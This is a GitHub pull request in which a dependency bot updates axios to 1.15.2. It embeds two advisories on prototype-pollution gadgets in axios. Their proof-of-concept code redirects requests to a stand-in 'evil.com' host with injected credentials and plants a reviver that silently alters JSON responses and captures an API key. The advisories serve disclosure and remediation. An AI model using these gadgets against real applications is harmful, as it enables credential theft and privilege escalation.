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chore(deps): update dependency axios to v1.15.2 [security]#580

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renovate/npm-axios-vulnerability
May 5, 2026
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chore(deps): update dependency axios to v1.15.2 [security]#580
bdrhn9 merged 5 commits intomainfrom
renovate/npm-axios-vulnerability

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@renovate renovate Bot commented May 5, 2026

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.15.11.15.2 age confidence

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties
  1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
  2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
  3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
  4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
  5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Impact
  • Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
  • Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
  • SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
  • Code execution: Attacker-supplied functions execute during HTTP redirects.
  • Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

  1. No constraints — the reviver can return any value (no "must return true" requirement)
  2. Selective modification — individual JSON keys can be changed while others remain untouched
  3. Invisible — the response structure and most values look completely normal
  4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric Value Justification
Attack Vector Network PP is triggered remotely via any vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Within the application process
Confidentiality High The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
Integrity High Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
Availability None No crash, no error — the attack is entirely silent
Comparison with All Known Axios PP Gadgets
Factor GHSA-fvcv-3m26-pcqx (Header Injection) transformResponse proxy (MITM) parseReviver (This)
PP target Object.prototype['header'] Object.prototype.transformResponse Object.prototype.proxy Object.prototype.parseReviver
Fixed by 1.15.0? Yes No No No
Constraints N/A (fixed) Must return true None None
Data modification Header injection only Response replaced with true Full MITM Selective per-key modification
Stealth Request anomaly visible Response becomes true (obvious) Proxy visible in network Completely invisible
Data access Headers only this.auth + raw response All traffic Every JSON key-value pair
Validated? N/A assertOptions validates Not validated Not validated
In defaults? N/A Yes → goes through mergeConfig No → bypasses mergeConfig No → bypasses mergeConfig
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
  1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

  2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

  3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

  4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],
Proof of Concept
import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible
  • Affects every Axios request that receives a JSON response
  • The response structure is intact — only specific values are changed
  • No errors, no crashes, no suspicious behavior
  • Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report PP Target Code Location Fix Location Impact
axios_26 transformResponse mergeConfig.js:49 (defaultToConfig2) mergeConfig.js Credential theft, response replaced with true
axios_30 proxy http.js:670 (direct property access) http.js Full MITM, traffic interception
axios_31 (this) parseReviver defaults/index.js:124 (this.parseReviver) defaults/index.js Selective JSON value tampering + data exfiltration
Why These Are Distinct Vulnerabilities
  1. Different polluted properties: Each targets a different Object.prototype key.
  2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
  3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
  4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.
Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources
Timeline
Date Event
2026-04-16 Vulnerability discovered during source code audit
2026-04-16 PoC developed and verified — selective response tampering confirmed
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

axios/axios (axios)

v1.15.2

Compare Source

This release delivers prototype-pollution hardening for the Node HTTP adapter, adds an opt-in allowedSocketPaths allowlist to mitigate SSRF via Unix domain sockets, fixes a keep-alive socket memory leak, and ships supply-chain hardening across CI and security docs.

🔒 Security Fixes

  • Prototype Pollution Hardening (HTTP Adapter): Hardened the Node HTTP adapter and resolveConfig/mergeConfig/validator paths to read only own properties and use null-prototype config objects, preventing polluted auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser from influencing requests. (#​10779)
  • SSRF via socketPath: Rejects non-string socketPath values and adds an opt-in allowedSocketPaths config option to restrict permitted Unix domain socket paths, returning AxiosError ERR_BAD_OPTION_VALUE on mismatch. (#​10777)
  • Supply-chain Hardening: Added .npmrc with ignore-scripts=true, lockfile lint CI, non-blocking reproducible build diff, scoped CODEOWNERS, expanded SECURITY.md/THREATMODEL.md with provenance verification (npm audit signatures), 60-day resolution policy, and maintainer incident-response runbook. (#​10776)

🚀 New Features

  • allowedSocketPaths Config Option: New request config option (and TypeScript types) to allowlist Unix domain socket paths used by the Node http adapter; backwards compatible when unset. (#​10777)

🐛 Bug Fixes

  • Keep-alive Socket Memory Leak: Installs a single per-socket error listener tracking the active request via kAxiosSocketListener/kAxiosCurrentReq, eliminating per-request listener accumulation, MaxListenersExceededWarning, and linear heap growth under concurrent or long-running keep-alive workloads (fixes #​10780). (#​10788)

🔧 Maintenance & Chores

  • Changelog: Updated CHANGELOG.md with v1.15.1 release notes. (#​10781)

Full Changelog


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@renovate renovate Bot requested a review from bdrhn9 May 5, 2026 11:11
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renovate Bot commented May 5, 2026

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

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bdrhn9 commented May 5, 2026

Renovate's automated commit broke CI in two ways:

  1. It regenerated the lockfile under injectWorkspacePackages: true, flipping @api3/* workspace deps from link:file:. On a fresh checkout the injected copies had no dist/ yet, so packages/e2e failed tsc with Cannot find module '@api3/signed-api', and the Dockerfile's pnpm fetch step failed with ENOENT on file:packages/*.
  2. It collapsed two minimumReleaseAgeExclude entries into a single malformed axios@1.15.0 || 1.15.2 line.

Swapped injectWorkspacePackages: true for forceLegacyDeploy: true, the maintainer-recommended approach for pnpm v10 monorepos that don't want global inject. Lockfile is back in link: mode (matches main), pnpm deploy still works in the Dockerfile, and no Dockerfile or .dockerignore changes are needed. Also cleaned up minimumReleaseAgeExclude: replaced the malformed entry with axios@1.15.2 and dropped the stale lodash@4.18.1 exclusion (released 2026-04-01, past the 14-day window).

@bdrhn9 bdrhn9 merged commit d688d2d into main May 5, 2026
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@bdrhn9 bdrhn9 deleted the renovate/npm-axios-vulnerability branch May 5, 2026 15:18
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